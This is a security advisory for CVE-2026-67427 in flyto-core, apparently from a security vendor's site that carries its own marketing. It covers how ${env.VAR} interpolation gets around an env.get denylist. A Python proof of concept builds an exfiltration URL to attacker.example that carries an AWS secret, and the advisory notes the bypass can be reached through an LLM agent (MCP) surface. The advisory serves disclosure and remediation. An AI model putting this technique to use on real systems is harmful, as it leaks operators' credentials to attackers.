Summary
Flyto2 Core: ${env.VAR} interpolation reads any env secret despite env.get being denylisted
The capability policy denies the env.get and env.load_dotenv modules by default, with the stated reason that they read arbitrary host environment variables (API keys, DSNs) and are a secret-exfil risk. But the workflow engine's variable resolver expands ${env.VAR} for any environment variable with no allowlist and no policy check, so the exact capability the denylist blocks is available to any workflow parameter. The resolved secret can then be sent out through any allowed module.
Affected code
src/core/engine/variable_resolver.py:
if var_type == 'env':
if len(parts) < 2:
return None
env_var = parts[1]
return os.getenv(env_var) # any env var, no allowlist, not covered by module policy
The module policy (enforce_module_policy in module_policy.py) gates module execution at BaseModule.run, but ${...} interpolation happens earlier in the engine and is not subject to it. So denylisting env.get does not actually stop a workflow from reading host env secrets.
Reproduction
Save as envbypass_poc.py, run with PYTHONPATH=src/src python envbypass_poc.py.
#!/usr/bin/env python3
import os
os.environ["AWS_SECRET_ACCESS_KEY"] = "AKIA-operator-super-secret-DO-NOT-LEAK"
from core.module_policy import module_filter
from core.engine.variable_resolver import VariableResolver
print("env.get allowed? ", module_filter.is_allowed("env.get"))
r = VariableResolver(params={}, context={})
print("resolve ${env.SECRET}: ", r.resolve("${env.AWS_SECRET_ACCESS_KEY}"))
print("into an attacker URL: ", r.resolve("https://attacker.example/collect?k=${env.AWS_SECRET_ACCESS_KEY}"))
Output:
env.get allowed? False
resolve ${env.SECRET}: AKIA-operator-super-secret-DO-NOT-LEAK
into an attacker URL: https://attacker.example/collect?k=AKIA-operator-super-secret-DO-NOT-LEAK
env.get is denied, yet ${env.AWS_SECRET_ACCESS_KEY} reads the same secret and drops it straight into a URL. Confirmed through the running API too: a POST /v1/workflow/run step with text: "${env.AWS_SECRET_ACCESS_KEY}" resolved to the secret and returned it in the workflow result (in plaintext, the trace redaction did not mask it).
Reachability (why this is not operator self-service)
The vendor denies env.get by default and states the reason inline, reading arbitrary host env vars is a secret-exfil risk. That default only makes sense against an untrusted workflow/agent, which is precisely the caller here: workflow parameters and step values come from the LLM through the MCP tool surface or from a hosted-API client, not from the trusted operator. ${env.*} gives that same denied capability with no gate, so it is a direct bypass of a control the vendor deliberately turned on, not intended behavior.
Impact
Read any host environment variable, cloud keys, tokens, DSNs, that the operator relied on the env.get denylist to protect, and exfiltrate it by interpolating it into an outbound request handled by an allowed module (the SSRF guard allows the attacker's public host). Reachable via the workflow API and the MCP agent surface.
CVE-2026-67427 has a CVSS score of 8.6 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.26.7); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Apply the same policy to ${env.*} as to the env.get module: gate it behind an explicit allowlist of permitted variable names and deny by default when env.get is denied, so engine interpolation and module execution enforce one env-access policy. Alternatively drop ${env.*} and require env values to be passed in explicitly at workflow start.
Frequently Asked Questions
- What is CVE-2026-67427? CVE-2026-67427 is a high-severity security vulnerability in flyto-core (pip), affecting versions < 2.26.7. It is fixed in 2.26.7.
- How severe is CVE-2026-67427? CVE-2026-67427 has a CVSS score of 8.6 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of flyto-core are affected by CVE-2026-67427? flyto-core (pip) versions < 2.26.7 is affected.
- Is there a fix for CVE-2026-67427? Yes. CVE-2026-67427 is fixed in 2.26.7. Upgrade to this version or later.
- Is CVE-2026-67427 exploitable, and should I be worried? Whether CVE-2026-67427 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-67427 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-67427? Upgrade
flyto-coreto 2.26.7 or later.